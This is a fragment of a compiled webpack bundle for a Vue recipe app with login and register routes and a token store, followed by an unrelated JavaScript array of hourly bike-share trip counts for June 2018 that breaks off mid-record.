/***/
},
/***/"./resources/assets/js/router/index.js":
/***/function resourcesAssetsJsRouterIndexJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */
var __WEBPACK_IMPORTED_MODULE_0_vue__ = __webpack_require__("./node_modules/vue/dist/vue.common.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_vue__);
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1_vue_router__ = __webpack_require__("./node_modules/vue-router/dist/vue-router.esm.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_2__views_Auth_Login_vue__ = __webpack_require__("./resources/assets/js/views/Auth/Login.vue");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_2__views_Auth_Login_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2__views_Auth_Login_vue__);
/* harmony import */var __WEBPACK_IMPORTED_MODULE_3__views_Auth_Register_vue__ = __webpack_require__("./resources/assets/js/views/Auth/Register.vue");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_3__views_Auth_Register_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3__views_Auth_Register_vue__);
__WEBPACK_IMPORTED_MODULE_0_vue___default.a.use(__WEBPACK_IMPORTED_MODULE_1_vue_router__["a" /* default */]);
var router = new __WEBPACK_IMPORTED_MODULE_1_vue_router__["a" /* default */]({
routes: [{ path: '/register', component: __WEBPACK_IMPORTED_MODULE_3__views_Auth_Register_vue___default.a }, { path: '/login', component: __WEBPACK_IMPORTED_MODULE_2__views_Auth_Login_vue___default.a }]
});
/* harmony default export */__webpack_exports__["a"] = router;
/***/
},
/***/"./resources/assets/js/store/auth.js":
/***/function resourcesAssetsJsStoreAuthJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
/**
* Created by akke on 6/26/17.
*/
/* harmony default export */
__webpack_exports__["a"] = {
state: {
api_token: null,
user_id: null
},
initialize: function initialize() {
this.state.api_token = localStorage.getItem('api_token');
this.state.user_id = localStorage.getItem('user_id');
},
set: function set(api_token, user_id) {
localStorage.setItem('api_token', api_token);
localStorage.setItem('user_id', user_id);
},
remove: function remove() {
localStorage.removeItem('api_token');
localStorage.removeItem('user_id');
this.initialize();
}
};
/***/
},
/***/"./resources/assets/js/views/Auth/Login.vue":
/***/function resourcesAssetsJsViewsAuthLoginVue(module, exports, __webpack_require__) {
var Component = __webpack_require__("./node_modules/vue-loader/lib/component-normalizer.js")(
/* script */
__webpack_require__("./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/views/Auth/Login.vue"),
/* template */
__webpack_require__("./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-fc9dd3f2\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/views/Auth/Login.vue"),
/* scopeId */
null,
/* cssModules */
null);
Component.options.__file = "/var/www/html/recipebox/resources/assets/js/views/Auth/Login.vue";
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {
return key !== "default" && key !== "__esModule";
})) {
console.error("named exports are not supported in *.vue files.");
}
if (Component.options.functional) {
console.error("[vue-loader] Login.vue: functional components are not supported with templates, they should use render functions.");
}
/* hot reload */
if (false) {
(function () {
var hotAPI = require("vue-hot-reload-api");
hotAPI.install(require("vue"), false);
if (!hotAPI.compatible) return;
module.hot.accept();
if (!module.hot.data) {
hotAPI.createRecord("data-v-fc9dd3f2", Component.options);
} else {
hotAPI.reload("data-v-fc9dd3f2", Component.options);
}
})();
}
module.exports = Component.exports;
/***/
},
/***/"./resources/assets/js/views/Auth/Register.vue":
/***/function resourcesAssetsJsViewsAuthRegisterVue(module, exports, __webpack_require__) {
var Component = __webpack_require__("./node_modules/vue-loader/lib/component-normalizer.js")(
/* script */
__webpack_require__("./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/views/Auth/Register.vue"),
/* template */
__webpack_require__("./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-1d037175\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/views/Auth/Register.vue"),
/* scopeId */
null,
/* cssModules */
null);
Component.options.__file = "/var/www/html/recipebox/resources/assets/js/views/Auth/Register.vue";
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {
return key !== "default" && key !== "__esModule";
})) {
console.error("named exports are not supported in *.vue files.");
}
if (Component.options.functional) {
console.error("[vue-loader] Register.vue: functional components are not supported with templates, they should use render functions.");
}
/* hot reload */
if (false) {
(function () {
var hotAPI = require("vue-hot-reload-api");
hotAPI.install(require("vue"), false);
if (!hotAPI.compatible) return;
module.hot.accept();
if (!module.hot.data) {
hotAPI.createRecord("data-v-1d037175", Component.options);
} else {
hotAPI.reload("data-v-1d037175", Component.options);
}
})();
}
module.exports = Component.exports;
/***/
},
/***/"./resources/assets/sass/app.scss":
/***/function resourcesAssetsSassAppScss(module, exports) {
// removed by extract-text-webpack-plugin
/***/},
/***/0:
/***/function _(module, exports, __webpack_require__) {
__webpack_require__("./resources/assets/js/app.js");
module.exports = __webpack_require__("./resources/assets/sass/app.scss");
/***/
}
/******/ });
//# sourceMappingURL=app.d2aa8f2d2c6ee55b8886.js.map
|
var trips_hr = [
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 0:00",
"number_of_trips": 51
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 0:00",
"number_of_trips": 23
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 1:00",
"number_of_trips": 38
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 1:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 2:00",
"number_of_trips": 21
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 3:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 4:00",
"number_of_trips": 17
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 5:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 5:00",
"number_of_trips": 100
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 6:00",
"number_of_trips": 288
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 6:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 7:00",
"number_of_trips": 49
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 7:00",
"number_of_trips": 711
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 8:00",
"number_of_trips": 1180
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 8:00",
"number_of_trips": 109
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 9:00",
"number_of_trips": 89
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 9:00",
"number_of_trips": 603
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 10:00",
"number_of_trips": 154
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 10:00",
"number_of_trips": 316
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 11:00",
"number_of_trips": 349
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 11:00",
"number_of_trips": 179
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 12:00",
"number_of_trips": 435
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 12:00",
"number_of_trips": 266
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 13:00",
"number_of_trips": 265
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 13:00",
"number_of_trips": 419
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 14:00",
"number_of_trips": 438
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 14:00",
"number_of_trips": 253
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 15:00",
"number_of_trips": 539
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 15:00",
"number_of_trips": 225
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 16:00",
"number_of_trips": 808
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 16:00",
"number_of_trips": 295
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 17:00",
"number_of_trips": 1243
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 17:00",
"number_of_trips": 290
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 18:00",
"number_of_trips": 277
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 18:00",
"number_of_trips": 1018
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 19:00",
"number_of_trips": 249
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 19:00",
"number_of_trips": 733
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 20:00",
"number_of_trips": 266
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 20:00",
"number_of_trips": 447
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 21:00",
"number_of_trips": 157
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 21:00",
"number_of_trips": 351
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 22:00",
"number_of_trips": 291
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 22:00",
"number_of_trips": 130
},
{
"member_type": "Member",
"hour_of_trip": "06/01/2018 23:00",
"number_of_trips": 195
},
{
"member_type": "Casual",
"hour_of_trip": "06/01/2018 23:00",
"number_of_trips": 85
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 0:00",
"number_of_trips": 123
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 0:00",
"number_of_trips": 43
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 1:00",
"number_of_trips": 34
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 1:00",
"number_of_trips": 56
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 2:00",
"number_of_trips": 63
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 2:00",
"number_of_trips": 33
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 3:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 3:00",
"number_of_trips": 34
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 4:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 4:00",
"number_of_trips": 15
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 5:00",
"number_of_trips": 5
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 5:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 6:00",
"number_of_trips": 47
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 6:00",
"number_of_trips": 16
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 7:00",
"number_of_trips": 34
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 7:00",
"number_of_trips": 145
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 8:00",
"number_of_trips": 299
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 8:00",
"number_of_trips": 101
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 9:00",
"number_of_trips": 405
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 9:00",
"number_of_trips": 181
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 10:00",
"number_of_trips": 275
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 10:00",
"number_of_trips": 582
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 11:00",
"number_of_trips": 360
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 11:00",
"number_of_trips": 668
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 12:00",
"number_of_trips": 659
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 12:00",
"number_of_trips": 456
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 13:00",
"number_of_trips": 488
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 13:00",
"number_of_trips": 646
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 14:00",
"number_of_trips": 600
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 14:00",
"number_of_trips": 441
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 15:00",
"number_of_trips": 598
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 15:00",
"number_of_trips": 357
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 16:00",
"number_of_trips": 158
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 16:00",
"number_of_trips": 257
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 17:00",
"number_of_trips": 262
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 17:00",
"number_of_trips": 178
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 18:00",
"number_of_trips": 353
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 18:00",
"number_of_trips": 213
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 19:00",
"number_of_trips": 222
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 19:00",
"number_of_trips": 378
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 20:00",
"number_of_trips": 286
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 20:00",
"number_of_trips": 187
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 21:00",
"number_of_trips": 189
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 21:00",
"number_of_trips": 104
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 22:00",
"number_of_trips": 61
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 22:00",
"number_of_trips": 136
},
{
"member_type": "Member",
"hour_of_trip": "06/02/2018 23:00",
"number_of_trips": 267
},
{
"member_type": "Casual",
"hour_of_trip": "06/02/2018 23:00",
"number_of_trips": 110
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 0:00",
"number_of_trips": 66
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 0:00",
"number_of_trips": 137
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 1:00",
"number_of_trips": 94
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 1:00",
"number_of_trips": 58
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 2:00",
"number_of_trips": 81
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 2:00",
"number_of_trips": 36
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 3:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 3:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 4:00",
"number_of_trips": 15
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 4:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 5:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 5:00",
"number_of_trips": 14
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 6:00",
"number_of_trips": 56
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 6:00",
"number_of_trips": 13
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 7:00",
"number_of_trips": 26
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 7:00",
"number_of_trips": 102
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 8:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 8:00",
"number_of_trips": 53
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 9:00",
"number_of_trips": 95
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 9:00",
"number_of_trips": 17
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 10:00",
"number_of_trips": 14
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 10:00",
"number_of_trips": 77
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 11:00",
"number_of_trips": 54
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 11:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 12:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 12:00",
"number_of_trips": 58
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 13:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 13:00",
"number_of_trips": 39
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 14:00",
"number_of_trips": 53
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 14:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 15:00",
"number_of_trips": 87
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 15:00",
"number_of_trips": 14
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 16:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 16:00",
"number_of_trips": 75
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 17:00",
"number_of_trips": 72
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 17:00",
"number_of_trips": 11
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 18:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 18:00",
"number_of_trips": 81
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 19:00",
"number_of_trips": 20
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 19:00",
"number_of_trips": 76
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 20:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 20:00",
"number_of_trips": 100
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 21:00",
"number_of_trips": 15
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 21:00",
"number_of_trips": 76
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 22:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 22:00",
"number_of_trips": 89
},
{
"member_type": "Casual",
"hour_of_trip": "06/03/2018 23:00",
"number_of_trips": 34
},
{
"member_type": "Member",
"hour_of_trip": "06/03/2018 23:00",
"number_of_trips": 44
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 0:00",
"number_of_trips": 37
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 0:00",
"number_of_trips": 11
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 1:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 1:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 2:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 2:00",
"number_of_trips": 4
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 3:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 3:00",
"number_of_trips": 4
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 4:00",
"number_of_trips": 25
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 5:00",
"number_of_trips": 5
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 5:00",
"number_of_trips": 96
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 6:00",
"number_of_trips": 340
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 6:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 7:00",
"number_of_trips": 43
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 7:00",
"number_of_trips": 807
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 8:00",
"number_of_trips": 1174
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 8:00",
"number_of_trips": 70
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 9:00",
"number_of_trips": 482
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 9:00",
"number_of_trips": 83
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 10:00",
"number_of_trips": 129
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 10:00",
"number_of_trips": 251
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 11:00",
"number_of_trips": 291
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 11:00",
"number_of_trips": 151
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 12:00",
"number_of_trips": 347
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 12:00",
"number_of_trips": 198
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 13:00",
"number_of_trips": 258
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 13:00",
"number_of_trips": 376
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 14:00",
"number_of_trips": 345
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 14:00",
"number_of_trips": 313
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 15:00",
"number_of_trips": 474
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 15:00",
"number_of_trips": 335
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 16:00",
"number_of_trips": 365
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 16:00",
"number_of_trips": 826
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 17:00",
"number_of_trips": 399
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 17:00",
"number_of_trips": 1523
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 18:00",
"number_of_trips": 1285
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 18:00",
"number_of_trips": 295
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 19:00",
"number_of_trips": 289
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 19:00",
"number_of_trips": 889
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 20:00",
"number_of_trips": 242
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 20:00",
"number_of_trips": 560
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 21:00",
"number_of_trips": 414
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 21:00",
"number_of_trips": 171
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 22:00",
"number_of_trips": 267
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 22:00",
"number_of_trips": 146
},
{
"member_type": "Member",
"hour_of_trip": "06/04/2018 23:00",
"number_of_trips": 259
},
{
"member_type": "Casual",
"hour_of_trip": "06/04/2018 23:00",
"number_of_trips": 130
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 0:00",
"number_of_trips": 34
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 0:00",
"number_of_trips": 76
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 1:00",
"number_of_trips": 26
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 1:00",
"number_of_trips": 20
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 2:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 2:00",
"number_of_trips": 4
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 3:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 4:00",
"number_of_trips": 19
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 4:00",
"number_of_trips": 3
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 5:00",
"number_of_trips": 6
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 5:00",
"number_of_trips": 110
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 6:00",
"number_of_trips": 408
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 6:00",
"number_of_trips": 22
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 7:00",
"number_of_trips": 56
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 7:00",
"number_of_trips": 975
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 8:00",
"number_of_trips": 97
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 8:00",
"number_of_trips": 1393
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 9:00",
"number_of_trips": 99
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 9:00",
"number_of_trips": 590
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 10:00",
"number_of_trips": 288
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 10:00",
"number_of_trips": 145
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 11:00",
"number_of_trips": 162
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 11:00",
"number_of_trips": 328
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 12:00",
"number_of_trips": 202
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 12:00",
"number_of_trips": 409
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 13:00",
"number_of_trips": 174
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 13:00",
"number_of_trips": 365
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 14:00",
"number_of_trips": 410
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 14:00",
"number_of_trips": 198
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 15:00",
"number_of_trips": 500
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 15:00",
"number_of_trips": 201
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 16:00",
"number_of_trips": 237
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 16:00",
"number_of_trips": 868
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 17:00",
"number_of_trips": 1471
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 17:00",
"number_of_trips": 239
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 18:00",
"number_of_trips": 1252
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 18:00",
"number_of_trips": 221
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 19:00",
"number_of_trips": 711
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 19:00",
"number_of_trips": 180
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 20:00",
"number_of_trips": 131
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 20:00",
"number_of_trips": 533
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 21:00",
"number_of_trips": 392
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 21:00",
"number_of_trips": 106
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 22:00",
"number_of_trips": 219
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 22:00",
"number_of_trips": 84
},
{
"member_type": "Casual",
"hour_of_trip": "06/05/2018 23:00",
"number_of_trips": 42
},
{
"member_type": "Member",
"hour_of_trip": "06/05/2018 23:00",
"number_of_trips": 121
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 0:00",
"number_of_trips": 54
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 0:00",
"number_of_trips": 19
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 1:00",
"number_of_trips": 18
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 1:00",
"number_of_trips": 23
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 2:00",
"number_of_trips": 22
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 2:00",
"number_of_trips": 10
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 3:00",
"number_of_trips": 15
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 3:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 4:00",
"number_of_trips": 10
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 4:00",
"number_of_trips": 22
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 5:00",
"number_of_trips": 129
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 5:00",
"number_of_trips": 10
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 6:00",
"number_of_trips": 23
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 6:00",
"number_of_trips": 428
},
{
"member_type": "Member",
"hour_of_trip": "06/06/2018 7:00",
"number_of_trips": 1030
},
{
"member_type": "Casual",
"hour_of_trip": "06/06/2018 7:00",
